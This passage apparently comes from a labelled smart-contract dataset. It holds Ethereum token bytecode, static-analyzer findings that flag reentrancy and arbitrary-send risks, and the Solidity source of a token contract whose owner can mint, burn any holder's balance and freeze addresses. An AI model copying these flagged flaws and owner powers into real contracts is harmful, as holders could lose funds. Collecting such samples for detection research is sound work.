079457610794611b2d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107d081611b43565b915050610773565b5050565b6008546001600160a01b0316336001600160a01b0316146107fc57600080fd5b600081116108415760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461089d57600080fd5b476108a78161154f565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161083890611b5e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461095957600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610872565b6008546001600160a01b0316336001600160a01b0316146109c757600080fd5b67016345785d8a000082116109db57600080fd5b6702c68af0bb14000081116109ef57600080fd5b600d91909155600e55565b600061066133848461108e565b6000546001600160a01b03163314610a315760405162461bcd60e51b815260040161083890611b5e565b60005b81518110156107d85760095482516001600160a01b0390911690839083908110610a6057610a60611b2d565b60200260200101516001600160a01b031614158015610ab1575060075482516001600160a01b0390911690839083908110610a9d57610a9d611b2d565b60200260200101516001600160a01b031614155b15610b0e57600160056000848481518110610ace57610ace611b2d565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b1881611b43565b915050610a34565b6008546001600160a01b0316336001600160a01b031614610b4057600080fd5b6000610b4b306108aa565b90506108a781611589565b6000546001600160a01b03163314610b805760405162461bcd60e51b815260040161083890611b5e565b60105460ff1615610b9057600080fd5b600754610bb09030906001600160a01b0316678ac7230489e80000610f6a565b6007546001600160a01b031663f305d7194730610bcc816108aa565b600080610be16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c49573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c6e9190611b93565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610cc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ceb9190611bc1565b506010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b60095460009061074b906001600160a01b03166108aa565b6008546001600160a01b0316336001600160a01b031614610d4f57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610872565b6000546001600160a01b03163314610dcc5760405162461bcd60e51b815260040161083890611b5e565b60105460ff1615610ddc57600080fd5b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610e41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e659190611bde565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed69190611bde565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f479190611bde565b600980546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610fcc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610838565b6001600160a01b03821661102d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610838565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161580156110d057506001600160a01b03821660009081526005602052604090205460ff16155b80156110ec57503360009081526005602052604090205460ff16155b6110f557600080fd5b6001600160a01b0383166111595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610838565b6001600160a01b0382166111bb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610838565b6000811161121d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610838565b600080546001600160a01b0385811691161480159061124a57506000546001600160a01b03848116911614155b156114f0576009546001600160a01b03858116911614801561127a57506007546001600160a01b03848116911614155b801561129f57506001600160a01b03831660009081526004602052604090205460ff16155b156113db5760105460ff166112f65760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610838565b600f54421415611324576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d5482111561133357600080fd5b600e5461133f846108aa565b6113499084611bfb565b111561135457600080fd5b6001600160a01b03831660009081526006602052604090206001015460ff166113bc576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff161580156113f5575060105460ff165b801561140f57506009546001600160a01b03858116911614155b156114f05761141f42600a611bfb565b6001600160a01b0385166000908152600660205260409020541061144257600080fd5b600061144d306108aa565b905080156114d95760105462010000900460ff16156114d057600c5460095460649190611482906001600160a01b03166108aa565b61148c9190611c13565b6114969190611c32565b8111156114d057600c54600954606491906114b9906001600160a01b03166108aa565b6114c39190611c13565b6114cd9190611c32565b90505b6114d981611589565b4780156114e9576114e94761154f565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061153257506001600160a01b03841660009081526004602052604090205460ff165b1561153b575060005b61154885858584866116fd565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107d8573d6000803e3d6000fd5b6010805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115cd576115cd611b2d565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611626573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061164a9190611bde565b8160018151811061165d5761165d611b2d565b6001600160a01b0392831660209182029290920101526007546116839130911684610f6a565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906116bc908590600090869030904290600401611c54565b600060405180830381600087803b1580156116d657600080fd5b505af11580156116ea573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6000611709838361171f565b905061171786868684611743565b505050505050565b600080831561173c5782156117375750600a5461173c565b50600b545b9392505050565b6000806117508484611820565b6001600160a01b0388166000908152600260205260409020549193509150611779908590611b16565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546117a9908390611bfb565b6001600160a01b0386166000908152600260205260409020556117cb81611854565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161181091815260200190565b60405180910390a3505050505050565b6000808060646118308587611c13565b61183a9190611c32565b905060006118488287611b16565b96919550909350505050565b3060009081526002602052604090205461186f908290611bfb565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156118af57858101830151858201604001528201611893565b818111156118c1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108a757600080fd5b80356118f7816118d7565b919050565b6000806040838503121561190f57600080fd5b823561191a816118d7565b946020939093013593505050565b6000806040838503121561193b57600080fd5b50508035926020909101359150565b60008060006060848603121561195f57600080fd5b833561196a816118d7565b9250602084013561197a816118d7565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119b457600080fd5b823567ffffffffffffffff808211156119cc57600080fd5b818501915085601f8301126119e057600080fd5b8135818111156119f2576119f261198b565b8060051b604051601f19603f83011681018181108582111715611a1757611a1761198b565b604052918252848201925083810185019188831115611a3557600080fd5b938501935b82851015611a5a57611a4b856118ec565b84529385019392850192611a3a565b98975050505050505050565b600060208284031215611a7857600080fd5b813561173c816118d7565b600060208284031215611a9557600080fd5b5035919050565b80151581146108a757600080fd5b600060208284031215611abc57600080fd5b813561173c81611a9c565b60008060408385031215611ada57600080fd5b8235611ae5816118d7565b91506020830135611af5816118d7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611b2857611b28611b00565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611b5757611b57611b00565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600080600060608486031215611ba857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611bd357600080fd5b815161173c81611a9c565b600060208284031215611bf057600080fd5b815161173c816118d7565b60008219821115611c0e57611c0e611b00565b500190565b6000816000190483118215151615611c2d57611c2d611b00565b500290565b600082611c4f57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ca45784516001600160a01b031683529383019391830191600101611c7f565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202269761b325304a506a1b0aa12a0fc660f5517fe5609159922f3d4d1b5a08fc364736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,146 |
0x08f35c940e48116bb6d347a22c92495c21c46d35
|
/**
*Submitted for verification at Etherscan.io on 2021-05-02
*/
/**
*Submitted for verification at Etherscan.io on 2021-03-02
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: GPL-3.0
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Not authorized operation");
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Address shouldn't be zero");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address _owner) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Simple ERC20 Token example, with mintable token creation only during the deployement of the token contract */
contract TokenContract is Ownable{
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public tokenOwner;
address private ico;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => bool) public vestedlist;
event SetICO(address indexed _ico);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event UnlockToken();
event LockToken();
event Burn();
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event addedToVestedlist(address indexed _vestedAddress);
event removedFromVestedlist(address indexed _vestedAddress);
bool public mintingFinished = false;
bool public locked = true;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier canTransfer() {
require(!locked || msg.sender == owner || msg.sender == ico);
_;
}
modifier onlyAuthorized() {
require(msg.sender == owner || msg.sender == ico);
_;
}
constructor(string memory _name, string memory _symbol, uint8 _decimals) public {
require (_decimals != 0);
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = 5000000000000;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyAuthorized canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(this), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyAuthorized canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require (!isVestedlisted(msg.sender));
require(_value <= balances[msg.sender]);
require (msg.sender != address(this));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function burn(address _who, uint256 _value) onlyAuthorized public returns (bool){
require(_who != address(0));
totalSupply = totalSupply.sub(_value);
balances[_who] = balances[_who].sub(_value);
emit Burn();
emit Transfer(_who, address(0), _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferFromERC20Contract(address _to, uint256 _value) public onlyOwner returns (bool) {
require(_to != address(0));
require(_value <= balances[address(this)]);
balances[address(this)] = balances[address(this)].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(address(this), _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function unlockToken() public onlyAuthorized returns (bool) {
locked = false;
emit UnlockToken();
return true;
}
function lockToken() public onlyAuthorized returns (bool) {
locked = true;
emit LockToken();
return true;
}
function setICO(address _icocontract) public onlyOwner returns (bool) {
require(_icocontract != address(0));
ico = _icocontract;
emit SetICO(_icocontract);
return true;
}
/**
* @dev Adds list of addresses to Vestedlist. Not overloaded due to limitations with truffle testing.
* @param _vestedAddress Addresses to be added to the Vestedlist
*/
function addToVestedlist(address[] memory _vestedAddress) public onlyOwner {
for (uint256 i = 0; i < _vestedAddress.length; i++) {
if (vestedlist[_vestedAddress[i]]) continue;
vestedlist[_vestedAddress[i]] = true;
}
}
/**
* @dev Removes single address from Vestedlist.
* @param _vestedAddress Address to be removed to the Vestedlist
*/
function removeFromVestedlist(address[] memory _vestedAddress) public onlyOwner {
for (uint256 i = 0; i < _vestedAddress.length; i++) {
if (!vestedlist[_vestedAddress[i]]) continue;
vestedlist[_vestedAddress[i]] = false;
}
}
function isVestedlisted(address _vestedAddress) internal view returns (bool) {
return (vestedlist[_vestedAddress]);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806395d89b41116100de578063b6f50c2911610097578063cf30901211610071578063cf30901214610918578063d73dd62314610938578063dd62ed3e1461099c578063f2fde38b14610a145761018e565b8063b6f50c2914610844578063bca7a9e21461089e578063c33de793146108be5761018e565b806395d89b4114610555578063971f37e8146105d85780639dc29fac14610690578063a3e67610146106f4578063a9059cbb14610728578063b075ea3e1461078c5761018e565b806323b872dd1161014b5780636618846311610125578063661884631461044557806370a08231146104a95780637d64bcb4146105015780638da5cb5b146105215761018e565b806323b872dd1461033c578063313ce567146103c057806340c10f19146103e15761018e565b806305c82a151461019357806305d2035b146101f757806306fdde0314610217578063095ea7b31461029a57806318160ddd146102fe57806318a24b5b1461031c575b600080fd5b6101df600480360360408110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a58565b60405180821515815260200191505060405180910390f35b6101ff610d3b565b60405180821515815260200191505060405180910390f35b61021f610d4e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561025f578082015181840152602081019050610244565b50505050905090810190601f16801561028c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102e6600480360360408110156102b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dec565b60405180821515815260200191505060405180910390f35b610306610ede565b6040518082815260200191505060405180910390f35b610324610ee4565b60405180821515815260200191505060405180910390f35b6103a86004803603606081101561035257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fe5565b60405180821515815260200191505060405180910390f35b6103c8611467565b604051808260ff16815260200191505060405180910390f35b61042d600480360360408110156103f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061147a565b60405180821515815260200191505060405180910390f35b6104916004803603604081101561045b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116b4565b60405180821515815260200191505060405180910390f35b6104eb600480360360208110156104bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611945565b6040518082815260200191505060405180910390f35b61050961198e565b60405180821515815260200191505060405180910390f35b610529611aa9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61055d611acd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059d578082015181840152602081019050610582565b50505050905090810190601f1680156105ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61068e600480360360208110156105ee57600080fd5b810190808035906020019064010000000081111561060b57600080fd5b82018360208201111561061d57600080fd5b8035906020019184602083028401116401000000008311171561063f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611b6b565b005b6106dc600480360360408110156106a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d1f565b60405180821515815260200191505060405180910390f35b6106fc611f58565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107746004803603604081101561073e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f7e565b60405180821515815260200191505060405180910390f35b610842600480360360208110156107a257600080fd5b81019080803590602001906401000000008111156107bf57600080fd5b8201836020820111156107d157600080fd5b803590602001918460208302840111640100000000831117156107f357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506122b3565b005b6108866004803603602081101561085a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612466565b60405180821515815260200191505060405180910390f35b6108a66125f1565b60405180821515815260200191505060405180910390f35b610900600480360360208110156108d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126f2565b60405180821515815260200191505060405180910390f35b610920612712565b60405180821515815260200191505060405180910390f35b6109846004803603604081101561094e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612725565b60405180821515815260200191505060405180910390f35b6109fe600480360360408110156109b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612921565b6040518082815260200191505060405180910390f35b610a5660048036036020811015610a2a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506129a8565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b5657600080fd5b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610ba257600080fd5b610bf482600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8982600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600a60009054906101000a900460ff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de45780601f10610db957610100808354040283529160200191610de4565b820191906000526020600020905b815481529060010190602001808311610dc757829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f8e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610f9757600080fd5b6000600a60016101000a81548160ff0219169083151502179055507f70f18bcde0ec5e70a6b75212912eb91efc54a2c235186a6bf95d4d28b128741660405160405180910390a16001905090565b6000600a60019054906101000a900460ff16158061104e575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806110a65750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6110af57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110e957600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561113557600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156111be57600080fd5b61121082600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112a582600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061137782600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc990919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115245750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61152d57600080fd5b600a60009054906101000a900460ff161561154757600080fd5b61155c82600454612c5290919063ffffffff16565b6004819055506115b482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff